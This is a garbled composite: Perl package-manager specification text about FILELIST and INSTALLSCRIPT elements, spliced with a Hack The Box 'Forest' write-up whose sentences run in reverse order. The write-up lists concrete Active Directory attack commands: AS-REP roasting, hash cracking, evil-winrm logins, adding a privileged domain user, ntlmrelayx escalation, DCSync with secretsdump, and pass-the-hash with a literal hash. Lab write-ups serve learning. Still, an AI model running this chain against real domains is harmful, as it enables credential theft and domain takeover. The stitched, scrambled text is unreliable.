The path of the file within the archive should be given. The destination of where the file is to be copied to should be given as a directory local to the LIB directory for this given Perl installation. HREF= - URL pointing to the document which is the file list Child of Only one FILELIST element may be present for a given IMPLEMENTATION. The INSTALLSCRIPT element is used to define how to install a given package of software once it has been obtained and files have been copied to their appropriate locations. The INSTALLSCRIPT element is to be used for packages that require some other form of installation beyond simply a file copy. For those packages where copying of files is sufficient, an INSTALLSCRIPT is not required. Note that the INSTALLSCRIPT will be run by PPM after files have been copied to their appropriate locations. The script required for installation can either be given as an attribute ('HREF') of the element, as the data contained within this element, or as the name of a file contained within the element for this installation. Only one INSTALLSCRIPT element may be present for a given implementation. HREF= - URL to the script used for installation of this package. (optional)ĮXEC= - Shell/program to use to execute the script. and finally: Thanks and respect to Hack The Box for providing this great box and to tundr4 for helping me out as I got stuck with privilege escalation.(required)ĬODEBASEFILE= - File to use as an installation script, which is to be found inside the file.Next time reset the box instead of retrying, retrying retrying…. lost a lot of time due the fact, that the box got messed up in a way.should once (or more) dig into the scripts I’m using, for better understandig of attack and defense.still a lot to learn about Kerberos and Active Directory.This started allready the necessary privilege escalation, so that I afterwards could make use of the dcsync-attack by executing sudo python3 /usr/local/bin/secretsdump.py -just-dcĪll I had to do now, was to execute a pass the hash attack which could be done again with evil-winrm:Įvil-winrm -i forest.htb -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6Īnd then grab the root-flag f048153f202bbb2f82622b04d79129cc on admins desktop. Now, I could try to escalate the privilegies of the new user fab so that I afterwards could start a dcsync-attack.Therefore, I used the tools secretsdump.py and ntlmrelayx.py, both from impacket.įirst, I had to start sudo python3 /usr/local/bin/ntlmrelayx.py -t ldap://10.10.10.161 -escalate-user fab and then authenticate the user by inserting the credentials on the local server. Net group "Exchange Windows Permissions" fab /add Net group "Exchange Trusted Subsystem" fab /add To do that, I reconnected with evil-winrm -i forest.htb -u svc-alfresco -p s3rvice to the victim and executed there the following commands: net user fab asdfasdf81 /ADD /DOMAIN May be, I can create a user and escalate it’s privilege? I then took a deeper look into the Active Directory by gathering and displaying data for Bloodhoundĭone so, I noticed that svc-alfresco has the right to create user in the Active Directory. , menue and Invoke-Binary winPEASany.exe started the process to scan, but apart of some missconfiguration (disabled firewall and so on) this was a loose end to me. The commandĮvil-winrm -i forest.htb -u svc-alfresco -p s3rvice -e. Tried with winPEASany.exe to escalate privilegies. This credentials, I could use to establish a connection with winrm ( evil-winrm -i forest.htb -u svc-alfresco -p s3rvice GetNPUsers.py can create a well formated file right away by passing the parameter -format hashcat -outputfile userhash.txt crack the hashĭone so, I could afterwards crack the hash with hashcat -m18200 -force userhash.txt /usr/share/wordlists/rockyou.txt which gives me the credentials svc-alfresco:s3rvice Yeah! There is the user svc-alfresco where I could gather a ticket of. I saved just the usernames in a textfile user.txtĪnd ran sudo python3 /usr/local/bin/GetNPUsers.py -dc-ip 10.10.10.161 -no-pass -usersfile user.txt htb.local/ So let’s look if one ore more users don’t need preauthentication.
